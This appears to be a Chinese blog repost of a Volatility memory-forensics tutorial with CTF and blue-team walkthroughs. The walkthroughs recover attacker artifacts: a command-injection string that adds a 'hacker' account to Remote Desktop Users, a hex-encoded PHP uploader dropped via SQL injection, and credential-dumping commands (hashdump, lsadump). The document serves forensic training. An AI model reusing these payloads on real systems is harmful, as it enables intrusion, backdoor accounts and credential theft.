一款开源内存取证框架

admin 2024年2月19日10:13:08评论23 views字数 13495阅读44分59秒阅读模式

简介


Volatility是一款开源内存取证框架,能够对导出的内存镜像进行分析,通过获取内核数据结构,使用插件获取内存的详细情况以及系统的运行状态。

工具以及附件下载,安装文章:

----
https://blog.csdn.net/qq_38603541/article/details/129244112链接:https://pan.baidu.com/s/1r0t5k4gFmiu12KHbZolKnA?pwd=6666
提取码:6666
---------------------
https://blog.csdn.net/weixin_44895005/article/details/123917324
----
https://blog.csdn.net/qq_38603541/article/details/129244112


基础操作


系统基本信息(寻找profile)
vol -f mem.vmem imageinfo


查看进程
vol -f mem.vmem --profile=XXX pslist


进程转储
vol -f mem.vmem --profile=XXX memdump -p 2012 -D ./
-p是PID -D是转储路径


查看用户密码(hash值)
vol -f mem.vmem --profile=XXX hashdump


查看cmd进程
vol -f mem.vmem --profile=XXX cmdscan


查找flag关键词
vol -f mem.vem --profile=XXX filescan | grep flag


查找flag关键词&将文件传储
vol -f mem.vem --profile=XXX dumplfiles -Q 0X00000123456 -D ./


查看windows窗口程序
vol -f mem,img --profile=XXX windows | grep flag -A 10 (-A 10显示十行内容)


从注册表中提取LSA密钥信息
vol -f mem.vmem --profile=XXX lsadump


列出注册表信息
vol -f mem.vmem --profile=XXX hivelist


解析路径,看到主机名(system)
vol -f mem.vmem --profile=xxx -o 0xfaffafafafa printkey
vol -f mem.vmem --profile=xxx -o 0xfaffafafafa printkey -K "ControlSet001xxxxxxSystemName"


查看进程树
vol -f mem.vmem --profile=xxx pstree


查看某个进程的DLL
vol -f mem.vmem --profile=xxx dlllist -p 1234


查看notepad文本
vol -f test.vmem --profile=xxx notepad


查看有关编辑控件
vol -f test.vmem --profile=xxx editbox


保存基于GDI窗口的伪截屏
vol -f test.vmem --profile=xxx screenshot


查看剪贴板
vol -f test.image --profile=xxx clipboard


查看IE浏览器历史记录
vol -f test.image --profile=xxx iehistory


查看linux_bash命令
python2 vol.py -f dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_bash


分析Linux系统中的进程和进程环境
python2 vol.py -f dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_psaux


查看linux系统的dmesg缓冲区中日志消息
python2 vol.py -f dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_dmesg


检查Linux系统调用表是否被修改过
python2 vol.py -f dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_check_syscall | grep HOOKED


检测和分析内存中的恶意软件特征
python2 vol.py -f MemoryDump.mem --profile=Win10x64_19041 malfind


做题


Suspicion

1.系统基本信息(windows版)
vol -f mem.vmem imageinfo


一款开源内存取证框架

发现profile为WinXPSP2X86。

2.查看进程
vol -f mem.vmem --profile=WinXPSP2x86 pslist


一款开源内存取证框架

发现存在TrueCrypt.exe进程,TrueCrypt.exe是一款加密程序,所以猜测Suspicion是加密后的结果。

3.进程传储
vol -f mem.vmem --profile=WinXPSP2x86 memdump -p 2012 -D ./ (-p是PID -D是传储路径)


一款开源内存取证框架

4.使用**Elcomsoft(Elcomsoft Forensic Disk Decryptor,EFDD)**进行破解。

一款开源内存取证框架
一款开源内存取证框架
一款开源内存取证框架
一款开源内存取证框架
一款开源内存取证框架

将解密后的内存文件进行挂载。

一款开源内存取证框架
一款开源内存取证框架
一款开源内存取证框架

very-ez-dump

查看镜像信息,profile为Win7SP1x64
vol -f mem.raw imageinfo


一款开源内存取证框架

查看cmd执行的命令,发现添加了一个用户mumuzi,密码**(ljmmz)ovo**
vol -f mem.raw --profile=Win7SP1x64 cmdscan


一款开源内存取证框架

查找一下flag关键词,发现flag.zip,转储下来。
vol -f mem.raw --profile=Win7SP1x64 filescan | flag


一款开源内存取证框架

vol -f mem.raw --profile=Win7SP1x64 dumpfiles -Q #保存到本地进行解压


一款开源内存取证框架

将后缀改为zip并解压,密码(ljmmz)ovo

一款开源内存取证框架

得到flag

flag{ez_di_imp_1t_y0u_like?}


[HDCTF] 你能发现什么蛛丝马迹

查看镜像信息:
vol -f mem.img imageinfo


一款开源内存取证框架

搜索有关flag的文件信息并把他转储出来。
vol -f mem.img profile=Win2003SP2x86 filescan | grep flag


一款开源内存取证框架

vol -f mem.img profile=Win2003SP2x86 dumpfiles -Q 0x000000000484f900 -D ./


一款开源内存取证框架

改名为flag.png发现是一个二维码。扫码得到一串密文。
jfXvUoypb8p3zvmPks8kJ5Kt0vmEw0xUZyRGOicraY4=


查看windows的窗口程序。
vol -f mem.img profile=Win2003SP2x86 windows | grep flag -A 10


一款开源内存取证框架

提取内容:
vol -f mem.img profile=Win2003SP2x86 memdump -p 1992 -D ./


一款开源内存取证框架

利用foremost分离文件:
foremost 1992.dmp


一款开源内存取证框架

图片中有key和iv,得知是AES加密,解密得到flag。

一款开源内存取证框架

密文:jfXvUoypb8p3zvmPks8kJ5Kt0vmEw0xUZyRGOicraY4=
key: Th1s_1s_K3y00000
iv: 1234567890123456


一款开源内存取证框架

Ottoer CTF

General Info

Let’s start easy - whats the PC’s name and IP address?(让我们从简单的开始–电脑的名称和IP地址是什么?)

使用netscan查看IP地址。
vol -f otto.vmem --profile=XXX netscan


一款开源内存取证框架

使用hivelist查看注册表。
vol -f otto.vmem --profile=XXX hivelist


一款开源内存取证框架

有system,进行查看。

vol -f otto.vmem --profile=XXX -o 0xfffff8a000024010 printkey


一款开源内存取证框架

一步步跟进。

vol -f otto.vmem --profile=XXX -o 0xfffff8a000024010 printkey -K "ControlSet001"


一款开源内存取证框架

跟着一直解析,最后看到主机名。

一款开源内存取证框架

Play Time

Rick just loves to play some good old videogames. can you tell which game is he playing? whats the IP address of the server?(瑞克只是喜欢玩一些好的老式电子游戏,你能告诉他在玩哪个游戏吗?服务器的IP地址是什么?)

使用netscan直接看到游戏名与IP。

一款开源内存取证框架

Name Game

We know that the account was logged in to a channel called Lunar-3. what is the account name?(我们知道该账户登录了一个名为Lunar-3的频道。什么是账户名称?)

利用strings筛选结果。
strings OtterCTF.vmem | grep Lunar-3 -B 3 -A 3 (-B 3显示指定字符串上三行,-A 3显示指定字符串下三行)


一款开源内存取证框架

Name Game 2

From a little research we found that the username of the logged on character is always after this signature: 0x64 0x??{6-8} 0x40 0x06 0x??{18} 0x5a 0x0c 0x00{2} What’s rick’s character’s name?(通过一点研究,我们发现,登录的字符的用户名总是在这个签名之后。0x64 0x??{6-8} 0x40 0x06 0x??{18} 0x5a 0x0c 0x00{2} 瑞克的角色叫什么名字?)

LunarMS.exe转储出来。
vol -f otto.vmem --profile=XXX memdump -p 708 -D ./


一款开源内存取证框架

用hexdump 显示字符
hexdump -C otto.vmem | grep "5a 0c 00" -A 3 -B 3


一款开源内存取证框架

Silly Rick

Silly rick always forgets his email's password, so he uses a Stored Password Services online to store his password. He always copy and paste the password so he will not get it wrong. whats rick's email password? Silly rick总是忘记他的电子邮件密码,所以他使用在线存储密码服务来存储他的密码。他总是复制并粘贴密码,这样他就不会弄错了。rick的电子邮件密码是什么?

查看粘贴板:
vol.py -f otto.vmem --profile=Win7SP1x64 clipboard


Injector Blue Team Challenge

Category : Endpoint Forensics

What is the computer's name?

先要确定该内存的profile是什么。

vol.py -f memdump.mem imageinfo

------

确定为 VistaSP1x86


一款开源内存取证框架

确定了profile是什么之后,题目要求找出计算机名称,我们可以通过查询注册表信息来获得计算机名称信息。

vol.py -f memdump.mem --profile=VistaSP1x86 hivelist
-----
查询到了SYSTEM信息,访问系统目录查找是否存在计算机名称


一款开源内存取证框架

解析路径,看到主机名(system)
vol.py -f memdump.mem --profile=VistaSP1x86 -o 0x86226008 printkey


一款开源内存取证框架

vol.py -f memdump.mem --profile=VistaSP1x86 -o 0x86226008 printkey -K "ControlSet001ControlComputerNameComputerName"


一款开源内存取证框架

What is the Timezone of the compromised machine? Format: UTC+0 (no-space)
查看第一张截图,可得知答案为UTC-7


What was the first vulnerability the attacker was able to exploit?
首先通过pslist查看是否有可疑进程(并未发现明显可疑进程)
但发现该windows存在httpd服务,查看浏览器历史命令是否存在可用信息
发现存在XSS注入命令.判断出了进行了XSS攻击


一款开源内存取证框架

一款开源内存取证框架

What is the OS build number?
查看OS版本号 -> 可以先查看注册表信息
vol.py -f memdump.mem --profile=VistaSP1x86 hivelist


一款开源内存取证框架

可以发现列表中第二行中存在SOFTWARE这行


Windows存储系统OS版本路径为HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersion

利用命令进行访问系统目录
vol.py -f memdump.mem --profile=VistaSP1x86 printkey -o 0x87b55a20
----------
vol.py -f memdump.mem --profile=VistaSP1x86 printkey -o 0x87b55a20 -K "MicrosoftWindows NTCurrentVersion"

在最下面即可得到OS版本为6001


一款开源内存取证框架

How many users are on the compromised machine?
Windows存储用户路径为HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionProfileList


一款开源内存取证框架

What is the webserver package installed on the machine?
直接使用上段代码,因为我们是查询的软件注册表.所以安装的软件就在注册表最后一行中
vol.py -f memdump.mem --profile=VistaSP1x86 printkey -o 0x87b55a20


一款开源内存取证框架

What is the name of the vulnerable web app installed on the webserver?

Web服务器上安装的易受攻击的Web应用

我们可以通过filescan 和 dumpfiles 从内存转储中提取access.log
因为是WEB应用所以查看access.log
----------------
vol.py -f memdump.mem --profile=VistaSP1x86 filescan | grep "access.log"
-----------------
将这些文件导出
vol.py -f memdump.mem --profile=VistaSP1x86 dumpfiles -Q 0x000000003efc5988,0x000000003efcd960,0x000000003fa87028,0x000000003fa87d68 -D ./

---------

使用cat命令将两个文件内容合并成access.log并查看日志
cat xxxxx.dat xxxx.vacb > access.log


一款开源内存取证框架

一款开源内存取证框架

一款开源内存取证框架

What is the user agent used in the HTTP requests sent by the SQL injection attack tool?
strings、cat命令合并的区别
利用 strings 命令合并两个文件和利用 cat 命令合并两个文件有一些区别。下面是它们的区别:

strings 命令:strings 命令用于从二进制文件中提取可打印的字符串。当你使用 strings 命令合并两个文件时,它会将两个文件的内容连接起来,并提取出其中的可打印字符串。这意味着合并后的文件将只包含字符串,而不会包含其他非字符串的二进制数据。

cat 命令:cat 命令用于连接文件并打印到标准输出。当你使用 cat 命令合并两个文件时,它会简单地将两个文件的内容连接起来,并将结果输出到标准输出。合并后的文件将包含两个文件的完整内容,包括其中的文本、二进制数据或其他任何内容。

总结来说,strings 命令合并文件时只提取可打印字符串,而 cat 命令合并文件时将完整地连接两个文件的内容。选择使用哪个命令取决于你需要合并的文件类型和你对结果的期望。如果你只对可打印字符串感兴趣,可以使用 strings 命令,否则,如果你需要完整地合并两个文件的内容,可以使用 cat 命令。


利用strings将文件重新合并一下
提到了SQL注入工具,可以想到是sqlmap
利用grep筛选一下结果
cat access.log | sort | cut -d " " 12-16 | grep sqlmap | head -n4

----

这条命令是对 access.log 文件进行处理,并按照一系列步骤过滤和输出信息。下面是每个命令的作用和意思的中文解释:

cat access.log:将 access.log 文件的内容输出到标准输出(屏幕)上。cat 是一个用于连接文件并打印到标准输出的命令。

sort:对输入进行排序。在这个命令中,它将按照默认设置(字典顺序)对输入进行排序。

cut -d " " -f 12-16:使用空格作为分隔符(-d " "),并提取第12到第16个字段(列)。cut 命令用于从输入的每一行中提取指定的字段或列。

grep sqlmap:在输入中搜索包含 "sqlmap" 的行,并将它们输出。grep 命令用于从输入中匹配指定的模式并输出匹配的行。

head -n4:取前4行。head 命令用于从输入中提取指定数量的行,默认情况下是前10行。

因此,这条命令的目的是从 access.log 文件中找到包含 "sqlmap" 的行,并将这些行按照一定的顺序输出到屏幕上,只显示前4行。


一款开源内存取证框架

The attacker read multiple files through LFI vulnerability. One of them is related to network configuration. What is the filename?
LFI漏洞(Local File Inclusion Vulnerability) -- 文件包含漏洞
本地文件包含 (LFI) 是一个漏洞,允许攻击者从文件系统中导航和读取文件。因此,我们可以 grep 处理任何看起来像目录遍历的内容(../)


cat access.log | grep "../../../../" | cut -d " " -f 4-7 | sort | uniq
----

这条命令对 access.log 文件进行处理,并按照一系列步骤过滤和输出信息。下面是每个命令的作用和意思的解释:

cat access.log:将 access.log 文件的内容输出到标准输出(屏幕)。cat 是一个用于连接文件并打印到标准输出的命令。

grep "../../../../":在输入中搜索包含字符串 "../../../../" 的行,并将它们输出。grep 命令用于从输入中匹配指定的模式并输出匹配的行。

cut -d " " -f 4-7:使用空格作为分隔符(-d " "),并提取第4到第7个字段(列)。cut 命令用于从输入的每一行中提取指定的字段或列。

sort:对输入进行排序。在这个命令中,它将按照默认设置(字典顺序)对输入进行排序。

uniq:去除重复的行。uniq 命令用于从输入中去除连续的重复行,只保留一个副本。

因此,这条命令的目的是从 access.log 文件中找到包含字符串 "../../../../" 的行,提取这些行的第4到第7个字段,并按照字典顺序对它们进行排序,并去除连续的重复行。最终结果将被输出到屏幕上。


一款开源内存取证框架

The attacker tried to update some firewall rules using netsh command. Provide the value of the type parameter in the executed command?
vol.py -f memdump.mem --profile=VistaSP1x86 cmdscan
----------
vol.py -f memdump.mem --profile=VistaSP1x86 consoles | grep "netsh firewall"


一款开源内存取证框架

一款开源内存取证框架

How many users were added by the attacker?
vol.py -f memdump.mem --profile=VistaSP1x86 consoles | grep "net user"
-----
这里只看到了一个用户,查询大佬wp得知,还存在另一个用户。
-----
共创建了两个用户


一款开源内存取证框架

一款开源内存取证框架

一款开源内存取证框架

When did the attacker create the first user?
vol.py -f memdump.mem --profile=VistaSP1x86 printkey -o 0x87b7d008 -K "SAMDomainsAccountUsersNamesuser1"

----

路径 SAMDomainsAccountUsersNames 是 Windows 操作系统中的一个关键路径,它存储了本地计算机上的用户账户的名称信息。

具体来说,SAMDomainsAccountUsersNames 路径下的文件包含了本地计算机上已创建的用户账户的名称和相关信息,例如账户的显示名称、登录名称、SID(安全标识符)等。

这些信息对于用户身份识别和授权非常重要。在用户登录时,操作系统会使用这些名称信息来验证用户的身份,并为其分配相应的访问权限。

需要注意的是,SAMDomainsAccountUsersNames 中的文件是操作系统保护的系统文件,普通用户无法直接访问或修改。只有操作系统和授权的系统管理员才能访问和管理这些文件。

总结来说,SAMDomainsAccountUsersNames 路径存储了本地计算机上用户账户的名称信息,这些信息用于用户身份验证和授权访问,但对于一般用户来说,访问和修改这些文件是受限制的。

----

Domains是域


一款开源内存取证框架

What is the NThash of the user's password set by the attacker?
vol.py -f memdump.mem --profile=VistaSP1x86 hashdump
查看用户的hash值


一款开源内存取证框架

What is The MITRE ID corresponding to the technique used to keep persistence?
The attacker used Command Injection to add user "hacker" to the "Remote Desktop Users" Group. Provide the IP address that was part of the executed command?

(攻击者使用命令注入将用户“hacker”添加到“远程桌面用户”组。是否提供已执行命令的IP地址?)

┌──(root㉿kali)-[~/Desktop/volatility]
└─# cat cmd.dmp | grep "hacker"

Zp6.102+%26%26+net+user+hacker+hacker+/add&submit=submit
ip=192.168.56.102+%26%26+net+localgroup+%22Remote+Desktop+Users%22+hacker+%2Fadd&submit=submit$
hackerLo


The attacker uploaded a simple command shell through file upload vulnerability. Provide the name of the URL parameter used to execute commands?

攻击者通过文件上传漏洞上传了一个简单的命令shell。是否提供用于执行命令的URL参数的名称?

php执行命令参数大多数为 ?xxx=命令参数。我们可以利用这种特征来查找
cat access.log | cut -d " " -f 4-8 | grep "?[A-Za-z]*="


一款开源内存取证框架

The attacker dropped a shellcode through SQLi vulnerability. The shellcode was checking for a specific version of PHP. Provide the PHP version number?
3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c78616d70705c5c6874646f63735c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a

-------------

将这个十六进制数转换为字符串

--------------

echo '3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c78616d70705c5c6874646f63735c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a' | xxd -r -p


一款开源内存取证框架

一款开源内存取证框架

Hide And Seek

The reason that we took rick’s PC memory dump is because there was a malware infection. Please find the malware process name (including the extension)(我们提取瑞克的电脑内存转储的原因是有一个恶意软件感染。请找到恶意软件的进程名称(包括扩展名)

查看进程树,发现一个异常进程,PPID比PID还大(在 Linux 上,通常情况下,父进程的进程ID(PPID)会比子进程的进程ID(PID)要小。这是因为在大多数情况下,子进程是由父进程创建的。)
vol.py -f otto.vmem --profile=Win7SP1x64 pstree


一款开源内存取证框架

查看一下这个进程的DLL,发现程序是在temp目录下执行的,那这个应该就是恶意软件进程了。
vol.py -f otto.vmem --profile=Win7SP1x64 dlllist -p 3720


一款开源内存取证框架

Path To Glory

Continue the search after the the way that malware got in.(在恶意软件进入后继续搜索。)

先将所有的chrome进程转储下来。
vol.py -f otto.vmem --profile=Win7SP1x64 memdump -n chrome -D ./chromeps
(memdump -n 是一个命令,用于将特定进程的内存转储到文件中。-n 选项允许您指定要转储的进程的名称或PID(进程ID))


一款开源内存取证框架

搜索download.exe.torren。

一款开源内存取证框架

一款开源内存取证框架

看雪ID:hackerDJ

https://bbs.kanxue.com/user-home-901421.htm

*本文为看雪论坛优秀文章,由 hackerDJ 原创,转载请注明来自看雪社区

原文始发于微信公众号(乌雲安全):一款开源内存取证框架

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月19日10:13:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一款开源内存取证框架https://cn-sec.com/archives/2504401.html

发表评论

匿名网友 填写信息